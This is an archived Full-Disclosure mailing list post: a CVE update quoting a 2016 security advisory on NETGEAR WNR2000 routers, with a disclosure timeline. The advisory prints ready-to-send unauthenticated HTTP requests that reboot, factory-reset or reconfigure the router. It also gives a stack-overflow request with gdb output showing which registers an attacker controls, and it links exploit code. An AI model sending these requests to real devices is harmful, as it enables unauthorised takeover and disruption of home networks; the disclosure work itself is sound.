lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Mon, 30 Jan 2017 10:00:57 +0000
From: Pedro Ribeiro <pedrib@...il.com>
To: fulldisclosure@...lists.org, bugtraq@...urityfocus.com
Cc: CVE Request <CVE-Request@...re.org>,
 Netgear Security <security@...gear.com>,
 CVE ID Requests <cve-assign@...re.org>
Subject: Re: [FD] [0-day] RCE and admin credential disclosure in NETGEAR
	WNR2000

An update on this post:

MITRE has provided me with CVE numbers.
CVE-2016-10175 for #1 (information disclosure)
CVE-2016-10176 for #2 (improper access control)
CVE-2016-10174 for #3 (stack buffer overflow)

In addition, NETGEAR has recognised the flaw and released beta firmware
that is supposed to fix this vulnerability. This claim was NOT verified.
The beta firmware can be downloaded from:
http://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability?cid=wmt_netgear_organic

Regards,
Pedro

On 20/12/16 21:42, Pedro Ribeiro wrote:
> Hi,
> 
> tl;dr
> RCE in NETGEAR WNR2000 routers, exploitable over the LAN by default or
> over the WAN if remote administration is enabled.
> 10.000 devices affected show up in Shodan - these are the ones with
> remote admin enabled. There are likely tens of thousands of vulnerable
> routers in private LANs as this device is extremely popular.
> 
> As usual, NETGEAR did not respond to any of my emails, so I'm releasing
> this advisory and exploit code as a 0-day.
> See [1] for the exploit code, but bear in mind it is only "alpha"
> quality. A more robust exploit will be released in the next week and
> sent upstream to Metasploit.
> 
> MITRE has not assigned any CVE numbers yet but I will keep trying to get
> them. If they are not obtained then this vulnerability should be
> referred with the BID / BugTraq number that will be assigned to it.
> 
> A copy of the advisory is in
> https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt
> 
> Regards,
> Pedro
> 
>>> Stack buffer overflow vulnerability in NETGEAR WNR2000 router
>>> Discovered by Pedro Ribeiro (pedrib@...il.com), Agile Information
> Security
> ==========================================================================
> Disclosure: 20/12/2016 / Last updated: 20/12/2016
> 
>>> Background on the affected products:
> "Wirelessly connect all of your computers and mobile devices. N300 WiFi
> speed lets you simultaneously download, stream music and video, and game
> online. NETGEAR genieĀ® makes it easy to setup and monitor your network.
> Parental controls keep your Internet experience safe and secure."
> 
> 
>>> Summary:
> The NETGEAR WNR2000 allows an administrator to perform a number of
> sensitive functions in the web interface through an apparent CGI script
> named apply.cgi. This script is invoked when changing Internet settings,
> WLAN settings, restore to factory defaults, reboot the router, etc.
> However apply.cgi is not really a script, but a function that is invoked
> in the HTTP server (uhttpd) when it receives that string in the URL.
> When reversing uhttpd, it was found that it also allows an
> unauthenticated user to perform the same sensitive admin functions if
> apply_noauth.cgi is invoked instead.
> Some of the functions, such as rebooting the router, can be exploited
> straight away by an unauthenticated attacker. Other functions, such as
> changing Internet, WLAN settings or retrieving the administrative
> password, require the attacker to send a "timestamp" variable attached
> to the URL. This timestamp is generated every time the target page is
> accessed and functions as a sort of anti-CSRF token.
> The timestamp generating function was reverse engineered and due to
> incorrect use of random number generation (details below) it is possible
> to identify the token in less than 1000 attempts with no other previous
> knowledge.
> 
> By combining this knowledge with an information leakage, it is possible
> to recover the administrator password. This password is then used to
> enable telnet functionality in the router and obtain a root shell if the
> attacker is in the LAN.
> 
> Finally, a stack buffer overflow was also discovered, which combined
> with the apply_noauth.cgi vulnerability and the timestamp identifying
> attack allows an unauthenticated attacker to take full control of the
> device and execute code remotely. This vulnerability allows the attacker
> to execute code in the LAN and in the WAN.
> 
> It should be noted that the WNR2000v5 does not have remote
> administration enabled by default on the latest firmware, and unless the
> administrator enables it, this attack is only possible in the LAN. Only
> the WNR2000v5 device was tested, but versions 3 and 4 of this router
> should also be vulnerable. At the time of the intial disclosure, there
> are over 10.000 vulnerable routers appearing in a Shodan search.
> 
> Exploit code has been released with this advisory, but it is of "alpha"
> quality (see [1]). This exploit code will be improved and ported to
> Metasploit in the next week.
> 
> 
>>> Technical details:
> #1
> Vulnerability: Information leakage
> NO CVE ASSIGNED
> Attack Vector: Remote
> Constraints: Can be exploited by an unauthenticated attacker. See below
> for other constraints.
> Affected versions:
> - WNR2000v5, all firmware versions (confirmed in hardware)
> - WNR2000v4, all firmware versions possibly affected (confirmed only by
> static analysis)
> - WNR2000v3, all firmware versions possibly affected (confirmed only by
> static analysis)
> 
> The device leaks its serial number when performing a request to
> http://<device_web_portal>/BRS_netgear_success.html:
> HTTP/1.0 200 OK
> Server: uhttpd/1.0.0
> Date: Thu, 01 Jan 1970 00:11:42 GMT
> Cache-Control: no-cache
> Pragma: no-cache
> Expires: 0
> Content-Type: text/html; charset="UTF-8"
> Connection: close
> 
> <html>
> <head>
> </head>
> <body>
> <script>
> /* 22281: add sn after success href */
> var sn="4D01615V0009D";                      <--- serial number of the
> device
> (...)
> 
> This vulnerability is useful for further exploitation in #2.
> 
> 
> #2
> Vulnerability: Improper access control
> NO CVE ASSIGNED
> Attack Vector: Remote
> Constraints: Can be exploited by an unauthenticated attacker. See below
> for other constraints.
> Affected versions:
> - WNR2000v5, all firmware versions (confirmed in hardware)
> - WNR2000v4, all firmware versions possibly affected (confirmed only by
> static analysis)
> - WNR2000v3, all firmware versions possibly affected (confirmed only by
> static analysis)
> 
> -----------------------
> The vulnerability
> -----------------------
> 
> The WNR2000 router allows an administrator to perform sensitive actions
> by invoking the apply.cgi URL on the web server of the device. This
> special URL is handled by the embedded web server (uhttpd) and processed
> accordingly.
> While reverse engineering uhttpd, it was discovered that another
> function, apply_noauth.cgi allows an unauthenticated user to perform
> sensitive actions on the device. For example, to reboot the router, the
> following request can be sent:
> 
> ====
> POST /apply_noauth.cgi?/reboot_waiting.htm HTTP/1.1
> Host: 192.168.1.1
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 26
> 
> submit_flag=reboot&yes=Yes
> ====
> 
> To reset to factory defaults:
> ====
> POST /apply_noauth.cgi?/pls_wait_factory_reboot.html HTTP/1.1
> Host: 192.168.1.1
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 19
> 
> submit_flag=factory
> ====
> 
> Change WLAN settings:
> ====
> POST /apply_noauth.cgi?/WLG_wireless.htm HTTP/1.1
> Host: 192.168.1.1
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 754
> 
> submit_flag=wlan&Apply=Apply&hidden_wlan_mode=&hidden_wlan_channel=&generate_flag=&old_length=&wl_sec_wpaphrase_len=17&wl_hidden_wpa_psk=somewifipassword&hidden_sec_type=&wep_press_flag=&wpa1_press_flag=0&wpa2_press_flag=1&wpas_press_flag=0&wps_change_flag=5&hidden_enable_guestNet=&hidden_enable_ssidbro=&hidden_allow_guest=&radiusServerIP=&opmode_bg=&wl_mode=&wl_ssid=1337Net&wl_WRegion=4&wl_hidden_wlan_channel=0&wl_hidden_wlan_mode=2&wl_hidden_sec_type=4&hidden_WpaeRadiusSecret=&hidden_WpaeRadiusSecret_a=&wl_enable_ssid_broadcast=1&hidden_enable_video=&wl_tx_ctrl=&wl_apply_flag=1&ssid_bc=1&ssid=NETGEAR09&wla1ssid=NETGEAR-5G_Guest1&wlg1ssid=NETGEAR-Guest&WRegion=4&w_channel=0&opmode=2&opmode54=1&security_type=WPA2-PSK&passphrase=somewifipassword
> ====
> 
> Change password recovery settings for the administrator account:
> ====
> POST /apply_noauth.cgi?/PWD_password.htm%20timestamp=26123148 HTTP/1.1
> Host: 192.168.1.1
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 188
> 
> submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=secretanswer1&question2=2&answer2=secretanswer2
> ====
> 
> These are just examples, there is a lot more functionality that can be
> accessed using apply_noauth.cgi. However, apart from the three first
> examples, most actions will require knowledge of a "timestamp" variable
> which is appended to the URL (like in the fourth example).
> 
> 
> #3
> Vulnerability: Stack buffer overflow
> NO CVE ASSIGNED
> Attack Vector: Remote
> Constraints: Can be exploited by an unauthenticated attacker. See below
> for other constraints.
> Affected versions:
> - WNR2000v5, all firmware versions (confirmed in hardware)
> - WNR2000v4, all firmware versions possibly affected (confirmed only by
> static analysis)
> - WNR2000v3, all firmware versions possibly affected (confirmed only by
> static analysis)
> 
> -----------------------
> Vulnerability details
> -----------------------
> 
> The HTTP server in the device (uhttpd) handles access to *.cgi files in
> a special way. Instead of fetching a CGI file from the file system, it
> handles them internally according to the URL. This mechanism has already
> been described in vulnerability #2 and in the Summary section.
> A key parameter of the apply*.cgi URL is the submit_flag, which will
> determine which uhttpd function will be invoked when processing the request.
> 
> If the following request is sent:
> POST /apply.cgi?/lang_check.html%20timestamp=14948715 HTTP/1.1
> Authorization: Basic YWRtaW46cGFzc3dvcmQ=
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 604
> 
> submit_flag=select_language&hidden_lang_avi=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAABBBBCCCCDDDDEEEEFFFFbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
> 
> A stack buffer overflow occurs, which can be seen when debugging the
> process in gdb:
> Program received signal SIGSEGV, Segmentation fault.
> 0x45454545 in ?? ()
> (gdb) i r
>           zero       at       v0       v1       a0       a1       a2
>   a3
>  R0   00000000 00000001 00000000 00000054 00000000 7fae7ee1 ffffff87
> 000009c0
>             t0       t1       t2       t3       t4       t5       t6
>   t7
>  R8   2ab96420 00000000 00000001 fffffff8 fffffffe 00000001 00000000
> 00000000
>             s0       s1       s2       s3       s4       s5       s6
>   s7
>  R16  41414141 42424242 43434343 44444444 00000002 00000025 0000002b
> 00000002
>             t8       t9       k0       k1       gp       sp       s8
>   ra
>  R24  00000002 2ab5a170 2ab825f8 00000000 0048f4a0 7fae7f18 004b51b8
> 45454545
>         status       lo       hi badvaddr    cause       pc
>       0000ff13 000f41db 000003dd 45454544 10800008 45454545
>           fcsr      fir  restart
>       00000000 00000000 00000000
> (gdb) x/32xw $sp
> 0x7fae7f18:	0x46464646	0x62626262	0x62626262	0x62626262
> (...)
> 
> The following registers can be controlled by an attacker:
> $ra/$pc = index 52 of hidden_lang_avi parameter (EEEE)
> $s0 = index 36 (AAAA)
> $s1 = index 40 (BBBB)
> $s2 = index 44 (CCCC)
> $s3 = index 48 (DDDD)
> $sp = index 56 (FFFF)
> 
> This vulnerability will be analysed using firmware 1.0.0.34 for the
> WNR2000v5 router.

> 
>>> Fix:
> NETGEAR did not respond to any emails, so THERE IS NO FIX for this
> vulnerability.
> It is recommended to replace this router with another make and model
> that supports OpenWRT firmware.
> 
> Timeline of disclosure:
> 26.09.2016: Email sent to NETGEAR (security@...gear.com) asking for PGP
> key, no response.
> 28.10.2016: Email sent to NETGEAR (security@...gear.com) asking for PGP
> key, no response.
> 26.11.2016: Disclosed vulnerability to CERT through their web portal.
> 29.11.2016: Received reply from CERT. They indicated that NETGEAR does
> not cooperate with them, so they recommended getting CVE numbers from
> MITRE and releasing the vulnerability information
>             Email to MITRE requesting CVE numbers, no response.
>             Email sent to NETGEAR (security@...gear.com) asking for PGP
> key, no response.
> 20.12.2016: Public disclosure.
> 
> 
>>> References:
> [1]
> https://raw.githubusercontent.com/pedrib/PoC/master/exploits/netgearPwn.rb
> [2] https://wiki.openwrt.org/toh/netgear/telnet.console
> [3] https://github.com/insanid/netgear-telenetenable
> [4]
> http://cdn.imgtec.com/mips-training/mips-basic-training-course/slides/Caches.pdf
> [5]
> https://raw.githubusercontent.com/pedrib/PoC/master/advisories/dlink-hnap-login.txt
> [6]
> http://cdn.imgtec.com/mips-training/mips-basic-training-course/slides/Memory_Map.pdf
> 
> 
> ================
> Agile Information Security Limited
> http://www.agileinfosec.co.uk/
>>> Enabling secure digital business >>
> 



Download attachment "signature.asc" of type "application/pgp-signature" (820 bytes)


_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ